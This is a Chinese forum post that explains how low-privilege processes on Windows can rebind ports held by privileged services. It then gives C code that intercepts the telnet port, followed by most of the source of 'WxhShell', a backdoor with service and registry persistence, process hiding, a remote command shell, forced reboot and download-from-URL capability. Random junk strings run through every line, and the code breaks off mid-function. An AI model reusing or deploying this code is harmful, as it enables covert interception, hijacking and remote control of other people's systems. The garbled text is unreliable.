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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qt>Bvu Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l~mj>$  
Zi{vEI]  
  saddr.sin_family = AF_INET; U#:N/ts*(  
X 4\V4_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >dXB)yl  
T%4yPmY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UJ><B"  
o:`^1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `=%G&_3_<  
PLq]\y  
  这意味着什么?意味着可以进行如下的攻击: |? rO  
g%okYH?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pq1j  
Kx02 2rgDU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /0b7"Kr  
N ;Cs? C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ySHpN>U  
^O<@I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y>x3`f]  
}=A+W2D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eOahr:Db  
1BSn#Dnj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Vi#[k n'  
wb ^>/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \+"Jg/)ij  
5xQ5)B4k  
  #include ]e$n;tuW  
  #include 9<.8mW^68  
  #include ?}HZJ@:lB  
  #include    `4wy *!]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0-p %.}GE  
  int main() 4kR;K !@k  
  { Q)\[wYMt  
  WORD wVersionRequested; 2V*;=cv~z  
  DWORD ret; MAQ-'s@  
  WSADATA wsaData; Y$_^f*sFn  
  BOOL val; -.K'rW  
  SOCKADDR_IN saddr; 6=96^o*  
  SOCKADDR_IN scaddr; h+w1 D}*  
  int err; WW-}c;cnK  
  SOCKET s; JFq<sY!  
  SOCKET sc; >7z(?nQYT^  
  int caddsize; n[\L6}  
  HANDLE mt; 5a4i)I6 3o  
  DWORD tid;   %~P3t=r  
  wVersionRequested = MAKEWORD( 2, 2 ); ,YRBYK:  
  err = WSAStartup( wVersionRequested, &wsaData ); #Q BW%L  
  if ( err != 0 ) { JsEnhE}]  
  printf("error!WSAStartup failed!\n"); E:;MI{;7  
  return -1; ~MP/[,j`  
  } SNf~%B?`L  
  saddr.sin_family = AF_INET; &yI>A1  
   [AYJ(H/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &~'i,v|E  
VVfTFi<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9%2h e)Yqc  
  saddr.sin_port = htons(23); (yoF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZCA= n  
  { V P(JV  
  printf("error!socket failed!\n"); 7Kpv fyL{  
  return -1; G?!8T91;  
  } *+(eH#_2/  
  val = TRUE; AC!yc(^<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5Rp mR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &'Xgf!x  
  { ?v`24p3PC  
  printf("error!setsockopt failed!\n"); ilZQ/hOBH  
  return -1; {asq[;]  
  } ` l %,4qR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {REGoe=W%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :w)9 (5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;zd.KaS  
kOC0d,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -j1]H"-  
  { &da:{  
  ret=GetLastError(); 'j!n   
  printf("error!bind failed!\n"); .3#Xjhebvu  
  return -1; `aA)n;{/2u  
  } %'VzN3Q5V  
  listen(s,2); J&B5Ll  
  while(1) &Lbwx&!0b  
  { ?!.J 0q  
  caddsize = sizeof(scaddr); bdEI vf7  
  //接受连接请求 ,$U~<Zd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !pHI`FeAV  
  if(sc!=INVALID_SOCKET) 1$^r@rP  
  { /FjdcH=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Tl#2w=  
  if(mt==NULL) TD78&a#  
  { y1[@4TY]  
  printf("Thread Creat Failed!\n"); S,Q(,e^&  
  break; %*RZxR):  
  } h 92KU  
  } n/e,jw  
  CloseHandle(mt); $GHi9aj_P  
  } dp4vybJ  
  closesocket(s); /%)(Uz  
  WSACleanup(); ?}= $zN  
  return 0; ~ _IQ:]k  
  }   1=e(g#Ajn\  
  DWORD WINAPI ClientThread(LPVOID lpParam) lXEn m-_  
  { ;|W:,a{kS  
  SOCKET ss = (SOCKET)lpParam; qn'TIE.  
  SOCKET sc;  Sr_hD5!  
  unsigned char buf[4096]; BB_(!omq[  
  SOCKADDR_IN saddr; OX?E3 <8`  
  long num; L[<CEk  
  DWORD val; ='@ k>Ka+  
  DWORD ret; rq1zvuUx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oFT1d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s(e1kk}"  
  saddr.sin_family = AF_INET; p*Yx1er1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7]~|dc(  
  saddr.sin_port = htons(23); <9T,J"y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `u_k?)lK  
  { O}j@+p%M  
  printf("error!socket failed!\n"); 87m`K Str7  
  return -1; f1?%p)C  
  } -BWWaL  
  val = 100; cl |}0Q5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IRTWmT jT  
  { fwh/#V-i  
  ret = GetLastError(); R<%{I)  
  return -1; ^:,wk7  
  } ooP{Q r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o 9(x\g  
  {  j8]M}Q$  
  ret = GetLastError(); O^ 5C  
  return -1; ;jO+<~YP!  
  } |;^$IZSsz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lR mVeq:  
  { [nlq(DGJhp  
  printf("error!socket connect failed!\n"); K<%8.mZ7  
  closesocket(sc); p["pGsf  
  closesocket(ss); fI'+4 )@x  
  return -1; a^ys7UV  
  } l.Z+.<@  
  while(1) nZG zez  
  { k_?~@G[I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `tcX[(`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]24]id  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B\% Gp}  
  num = recv(ss,buf,4096,0); B~J63Os/  
  if(num>0) @;KvUR/+FE  
  send(sc,buf,num,0); Dz/MIx  
  else if(num==0) 5PP^w~n  
  break; 8*|*@  
  num = recv(sc,buf,4096,0); Dtyw]|L\H  
  if(num>0) *)oBE{6D  
  send(ss,buf,num,0); `B,R+==G:  
  else if(num==0) sGpAaGY>  
  break; fzAkUvo  
  } woF {O)~X  
  closesocket(ss); )J2UNIgN  
  closesocket(sc); ~=<uYv?0s  
  return 0 ; Cv4nl7A'  
  } $iA:3DM07  
~PU}==*q  
kV8qpw}K  
========================================================== _lRIS_^;eE  
hzpl;Mj  
下边附上一个代码,,WXhSHELL 3df5 e0  
'-$cvH7_  
========================================================== _c-(T&u<  
0%,?z`UY  
#include "stdafx.h" @X9T"  
+Fh,!`  
#include <stdio.h> 3II*NANeg  
#include <string.h> sE!g!ht  
#include <windows.h> u yE#EnsH  
#include <winsock2.h> {XD':2E  
#include <winsvc.h> D=Yr/qc?  
#include <urlmon.h> Fq%NY8KNE  
2 gca *  
#pragma comment (lib, "Ws2_32.lib") :"b:uQ  
#pragma comment (lib, "urlmon.lib") Vn\jUEC  
j0w@ \gO<  
#define MAX_USER   100 // 最大客户端连接数 8:0,jnS  
#define BUF_SOCK   200 // sock buffer Der'45]*^  
#define KEY_BUFF   255 // 输入 buffer VN$7r  
YkFERIa076  
#define REBOOT     0   // 重启 ,p!IFS`  
#define SHUTDOWN   1   // 关机 Dd-a*6|x  
Uv~|Xj4.  
#define DEF_PORT   5000 // 监听端口 }([}A`@  
BWB}bq  
#define REG_LEN     16   // 注册表键长度 C~. T[Mlu  
#define SVC_LEN     80   // NT服务名长度 kjXwVGK=P<  
q]*jTb  
// 从dll定义API cm q4w&x/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P8;1,?ou  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A]drNFE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WLta{A?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0O-"tP8o  
( )f)  
// wxhshell配置信息 m'k>U4  
struct WSCFG { uyWw3>  
  int ws_port;         // 监听端口 "5?1S-Vl  
  char ws_passstr[REG_LEN]; // 口令 _j*I\  
  int ws_autoins;       // 安装标记, 1=yes 0=no sD&V_ &i  
  char ws_regname[REG_LEN]; // 注册表键名 3Wx\Liw,  
  char ws_svcname[REG_LEN]; // 服务名 C@<gCMj,"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #7}YSfm^6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FU.?n)P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F[W0gjUc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z+CX$.Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <:mK&qu f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wm9wnAy  
;:>q;%  
}; <P@O{Xi+K  
\~t!M~H  
// default Wxhshell configuration TmM~uc7mj  
struct WSCFG wscfg={DEF_PORT, nHp(,'R/  
    "xuhuanlingzhe", H$pgzNL  
    1, ?IoA;GBg  
    "Wxhshell", DF gM7if  
    "Wxhshell", 8U4In[4  
            "WxhShell Service", ~[~#PO  
    "Wrsky Windows CmdShell Service", j |o&T41  
    "Please Input Your Password: ", :uC9 #H"b  
  1, S/RChg_L5  
  "http://www.wrsky.com/wxhshell.exe", (Jk[%_b>_  
  "Wxhshell.exe" b)E<b{'W  
    };  o|#F@L3i  
-(ST   
// 消息定义模块 #hMkajG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tF./Jx]_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9\=SG"e(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cqW(9A|8  
char *msg_ws_ext="\n\rExit."; ZPz=\^  
char *msg_ws_end="\n\rQuit."; NzeiGj  
char *msg_ws_boot="\n\rReboot..."; [;ZC_fD  
char *msg_ws_poff="\n\rShutdown..."; vF>]9sMv  
char *msg_ws_down="\n\rSave to "; (A=Z,ed  
Q:T9&_|  
char *msg_ws_err="\n\rErr!"; n.R"n9v`  
char *msg_ws_ok="\n\rOK!"; joZd  
8pp;" "b  
char ExeFile[MAX_PATH]; o)DO[  
int nUser = 0; V7O7"Q^q  
HANDLE handles[MAX_USER]; NA`8 ^PZ  
int OsIsNt; {))Cb9'  
^!n|j]aw  
SERVICE_STATUS       serviceStatus; _={mKKoHs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3TS:H1n  
D,(:))DmR  
// 函数声明 ,ei=w,O  
int Install(void); [nrD4  
int Uninstall(void); QXl~a%lB  
int DownloadFile(char *sURL, SOCKET wsh); jpTk@  
int Boot(int flag); h(4\k?C5  
void HideProc(void); jpoNTl'  
int GetOsVer(void); rls{~ZRl  
int Wxhshell(SOCKET wsl); u]ps-R_$G  
void TalkWithClient(void *cs); N%1nii  
int CmdShell(SOCKET sock); UdA,.C0  
int StartFromService(void); v$g\]QS p  
int StartWxhshell(LPSTR lpCmdLine); bk a%W@Y%  
Fdq5:v?k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !C^>tmqS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rq}xuSFI  
oEj$xm_}  
// 数据结构和表定义 BW`;QF<  
SERVICE_TABLE_ENTRY DispatchTable[] = U)Tl<l<  
{ vz1I/IdTd  
{wscfg.ws_svcname, NTServiceMain}, #TH(:I=[  
{NULL, NULL} eX!yIqAR  
}; Ae"|a_>fMI  
Rtl 1eJ-  
// 自我安装 JeA_mtSQ|  
int Install(void) ~C3Ada@4  
{ 3*(><<ZC  
  char svExeFile[MAX_PATH]; yx;K&>  
  HKEY key; jR@>~t[}o  
  strcpy(svExeFile,ExeFile); $d,{I8d  
o#BI_#b  
// 如果是win9x系统,修改注册表设为自启动 uss!E!_%,  
if(!OsIsNt) { kf9]nIo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CJs ~!ww  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {G<1.  
  RegCloseKey(key); [qk c6sqo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -9o7a_Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +RkXe;q  
  RegCloseKey(key); K,*-Y)v2W  
  return 0; Pt-O1$C[  
    } aYWUwYB$  
  } wqJl[~O$  
} pEX Q  
else { /WK1(B:  
P.1Z@HC  
// 如果是NT以上系统,安装为系统服务 V-X Ty iv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3v`@**  
if (schSCManager!=0) \YF07L]qs-  
{ KDA2 H>  
  SC_HANDLE schService = CreateService s vS)7]{cU  
  ( sr(nd35  
  schSCManager, [UB*39D7  
  wscfg.ws_svcname, 0W+RVp=TL1  
  wscfg.ws_svcdisp, bMv[.Z@v(  
  SERVICE_ALL_ACCESS, \%V !& !'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dqd2e&a\  
  SERVICE_AUTO_START, \0&$ n  
  SERVICE_ERROR_NORMAL, q]SH'Wd  
  svExeFile, Z$6B}cz<  
  NULL, ];N/KHeZ  
  NULL, E]^n\bE%  
  NULL, LZE9]Gd  
  NULL, jJ,y+o  
  NULL U:[CcN/~3  
  ); 9JJ6$cLF  
  if (schService!=0) fRkx ^u P  
  { 6k<3,`VV|  
  CloseServiceHandle(schService); x;LO{S4Z  
  CloseServiceHandle(schSCManager); : Cli8#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wc;N;K52   
  strcat(svExeFile,wscfg.ws_svcname); roe_H>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H6`zzH0"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F"3'~ 6  
  RegCloseKey(key); c+8 Y|GB  
  return 0; +~M.Vs X  
    } ?Jgqb3+!o  
  } C 20VSwd  
  CloseServiceHandle(schSCManager); Rz6kwh=q  
} -@B6$XWL  
} JRAU|gr  
HIfi18  
return 1; F5M|QX@-  
} wgq=9\+&  
ejbtdU8N<  
// 自我卸载 !X-ThKEq  
int Uninstall(void) eiRVw5g  
{ %/hokyx  
  HKEY key; R$+"'N6p  
'GO *6$/  
if(!OsIsNt) { J{L d)Q,^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #'RfwldD9  
  RegDeleteValue(key,wscfg.ws_regname); ) M(//jX  
  RegCloseKey(key); frV_5yK'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w=0zVh_`(  
  RegDeleteValue(key,wscfg.ws_regname); niYD[Ra\xP  
  RegCloseKey(key); $v"CQD  
  return 0; Y|W#VyM-  
  } Ln/*lLIOb  
} 5-S-r9  
} `FX?P`\@I  
else { -Hy> z  
*e<'|Kq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %>y!N!.F  
if (schSCManager!=0) ]@ Vp:RGMr  
{ Y$+v "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2^U?Ztth6  
  if (schService!=0) L},o;p:  
  { l-Dgm  
  if(DeleteService(schService)!=0) { ??++0<75  
  CloseServiceHandle(schService); Gvr>n@n  
  CloseServiceHandle(schSCManager); <7/7+_y  
  return 0; t_(S e  
  } :r{W)(mm  
  CloseServiceHandle(schService); 7ks!0``  
  } .E{FD%U  
  CloseServiceHandle(schSCManager); DQ0 UY  
} JxM32?Rm*w  
} `/WOP`'zM  
fQ_tXY  
return 1; -Q ];o~  
} Vn_>c#B  
WM=)K1p0u  
// 从指定url下载文件 OGq=OW  
int DownloadFile(char *sURL, SOCKET wsh) L[Wi[S6=)g  
{ FEBRUk6.h  
  HRESULT hr; tlI]);iE,  
char seps[]= "/"; k9VWyq__  
char *token; ]J/;Xp  
char *file; 6k+tO%{~  
char myURL[MAX_PATH]; !L/.[:X  
char myFILE[MAX_PATH]; {`Mb),G  
)]m4FC:  
strcpy(myURL,sURL); Uf?+oc'{  
  token=strtok(myURL,seps); gAsjkNt?  
  while(token!=NULL) 87KSV"IU8  
  { ZOx;]D"s  
    file=token; UM0#S}  
  token=strtok(NULL,seps); 5D3&6DCH  
  } M[_Ptqjb  
|47 2X&e  
GetCurrentDirectory(MAX_PATH,myFILE); [:A">eYI  
strcat(myFILE, "\\"); 2{g&9  
strcat(myFILE, file); {WeRFiQ?-  
  send(wsh,myFILE,strlen(myFILE),0); jX t5.9 t  
send(wsh,"...",3,0); \oP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i9peQ61{  
  if(hr==S_OK) +hlR  
return 0; f.R;<V.)  
else R m2M  
return 1; n~i^+pD@  
;B :\e8  
} .l,NmF9  
*_a jb:  
// 系统电源模块 !Uhcjfq`e  
int Boot(int flag) X-j<fX_  
{ y35e3  
  HANDLE hToken; CdtwR0  
  TOKEN_PRIVILEGES tkp; ^6!8)7b  
Lr`Gyl62  
  if(OsIsNt) { wvr`~e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cth<xn(Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LXR>M>a`  
    tkp.PrivilegeCount = 1; bF +d_t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s:tWEgZk?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ow-;WO_HQ  
if(flag==REBOOT) { *r6v9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &kH7_Lz  
  return 0; oL9ELtb ]s  
} Kf6D$}  
else { S7R*R}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UK[+I]I p  
  return 0; `_J>R  
} t*c_70|@k  
  } HLE%f;  
  else { gM6o~ E  
if(flag==REBOOT) { #vPk XcP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !~-@sq  
  return 0; DuC_uNJ  
} ~UsE"5  
else { ,JJ1sf2A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3b<;y%  
  return 0; 9a'}j#mJo  
} @\=4 Rin/q  
} >vuR:4B  
g_"B:DR  
return 1; J^pq<   
} F}5skD=  
Vz y )jf  
// win9x进程隐藏模块 3tmS/ tQp  
void HideProc(void) GbC JGqOR  
{ }5QUIK~NA  
U(<~("ocN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xp"F)6  
  if ( hKernel != NULL ) H.[(`wi!I  
  { k{^iv:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); df$pT?o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \T;(k?28HN  
    FreeLibrary(hKernel); :&s8G*  
  } C3C&hq\%  
`O?j -zR  
return; W{kTM4  
} [Lf8*U"  
>V&GL{  
// 获取操作系统版本 <?!%dV{z  
int GetOsVer(void) IXR%IggJA  
{ jZq CM{  
  OSVERSIONINFO winfo; \YH*x`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w|ct="MG  
  GetVersionEx(&winfo); XBTjb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _+&/P&  
  return 1; QEY#U|  
  else byIP]7Ld  
  return 0; {\ BFWGX  
} t y%Hrw  
7t6TB*H  
// 客户端句柄模块 H*&!$s.  
int Wxhshell(SOCKET wsl) }wGy#!CSza  
{ VS5D)5w#  
  SOCKET wsh; U H6 Jvt  
  struct sockaddr_in client; N9O}6  
  DWORD myID; !LpFK0rw  
4/&.N]  
  while(nUser<MAX_USER) 3u= >Y^wu  
{ `Fb%vYf  
  int nSize=sizeof(client); 5>h# hcL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n<>]7-  
  if(wsh==INVALID_SOCKET) return 1; K- TLzoYA  
}DkdF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fvoPV &:  
if(handles[nUser]==0) WAGU|t#."  
  closesocket(wsh); ET~^P  
else E,|OMK#   
  nUser++; F^7qr  
  } s&6/fa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G}'\  
nD{{/_"'  
  return 0; ]Q{MF- EKj  
} XC[bEp$  
F2$?[1^f  
// 关闭 socket y~rtYI  
void CloseIt(SOCKET wsh) )`<7qT_BM  
{ xx[l#+:c  
closesocket(wsh); bm(.(0MI  
nUser--; K1-y[pS]E  
ExitThread(0); bHmn0fZ9  
} `q?@ Ob&  
u%nhQ%  
// 客户端请求句柄 $_ k:{?  
void TalkWithClient(void *cs) /#e-x|L  
{ bbFzmS1  
j`k :)  
  SOCKET wsh=(SOCKET)cs; 3}i(i0+  
  char pwd[SVC_LEN]; j4eq.{$  
  char cmd[KEY_BUFF]; \l/<[ZZ  
char chr[1]; +Pb@@C&  
int i,j; l gTw>r   
n`|CD Kb  
  while (nUser < MAX_USER) { Kl*/{&,P  
WVh]<?GWXk  
if(wscfg.ws_passstr) { tL S$D-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZrDr/Q~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A55F* d  
  //ZeroMemory(pwd,KEY_BUFF); F3<Ip~K  
      i=0; bN.U2%~!  
  while(i<SVC_LEN) { c4FU@^Vv  
Q%_MO`<]$  
  // 设置超时 ROr|  <  
  fd_set FdRead; | <- t  
  struct timeval TimeOut; biAa&   
  FD_ZERO(&FdRead); 6i*LP(n  
  FD_SET(wsh,&FdRead); `5t CmU  
  TimeOut.tv_sec=8; 3aEO9v,n  
  TimeOut.tv_usec=0; QZ_8r#2x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lA ZBlO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zs}EGC~&  
)|L#i2?:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -! :h]  
  pwd=chr[0]; m~vEandm  
  if(chr[0]==0xd || chr[0]==0xa) { 1IZTo!xi  
  pwd=0; BPC>  
  break; n,%/cUl  
  } jg=}l1M"  
  i++; UJrN+RtL  
    } LKu ,H  
#:} mi;{  
  // 如果是非法用户,关闭 socket (Z at|R.F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;%$wA5"2M  
} G'6f6i|<I@  
`'/1Ij+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >twog}%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6g%~~hX  
0tP{K  
while(1) { H@ .1cO  
<|4L+?_(&  
  ZeroMemory(cmd,KEY_BUFF); _qq>-{-Ym  
L ^{C4}x=  
      // 自动支持客户端 telnet标准   N PE7AdB8  
  j=0; K7]IAV  
  while(j<KEY_BUFF) { lX%e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {#}?-X  
  cmd[j]=chr[0]; S)G*+)  
  if(chr[0]==0xa || chr[0]==0xd) { =1% <  
  cmd[j]=0; r*W&SU9Z  
  break; &W-1W99auE  
  } S *K0OUq  
  j++; qiyJ4^1  
    } Pxe7 \e  
LkUi^1((e  
  // 下载文件 vK8!V7o~h%  
  if(strstr(cmd,"http://")) { z]R)Bh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <'z.3@D  
  if(DownloadFile(cmd,wsh)) GQ= Pkko  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Z(\iZ5Rgj  
  else EY'48S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D 13bQ&\B-  
  } 5:X^Q.f;  
  else { dZ'H'm;,!  
c"^g*i2&0  
    switch(cmd[0]) { UpCkB}OhR1  
  *Au[{sR  
  // 帮助 #=aTSw X  
  case '?': { @!2vS@f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yo"!C?82=  
    break; XF Wo"%}w  
  } 55vI^SSA  
  // 安装 hC...tk  
  case 'i': { ,(&5y:o  
    if(Install()) 4W36VtQ@E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I"r[4>>B>0  
    else *aS[^iX?s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nO .:f  
    break; K.::P84m;  
    } 3B[u2o>  
  // 卸载 ;$rh&ET  
  case 'r': { %3 VToj@`>  
    if(Uninstall()) i$S*5+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kma-W{vGD  
    else ;@G5s+<l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h&m4"HBL_  
    break; $o>6Io|D  
    } Ls(l  
  // 显示 wxhshell 所在路径 udGZ%Mr_  
  case 'p': { qq[Enf|/y  
    char svExeFile[MAX_PATH]; Ai.^~#%X  
    strcpy(svExeFile,"\n\r"); Bz*6M  
      strcat(svExeFile,ExeFile); 5u&hp  
        send(wsh,svExeFile,strlen(svExeFile),0); "y$s`n4Mj  
    break; d m$iiRY  
    } [rtMx8T  
  // 重启 k|[86<&[  
  case 'b': { geEETb} +y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yDXW#q  
    if(Boot(REBOOT)) @rt}z+JF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lo^gg#o  
    else { <%EjrjdvL+  
    closesocket(wsh); C+X- Cp  
    ExitThread(0); 6eHw\$/  
    } z)XI A)i6  
    break; I=}pT50~9  
    } 1\ab3n  
  // 关机 )5U2-g#U  
  case 'd': { DYaOlT(rE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |n+ ` t?L^  
    if(Boot(SHUTDOWN)) $JZ}=\n7  
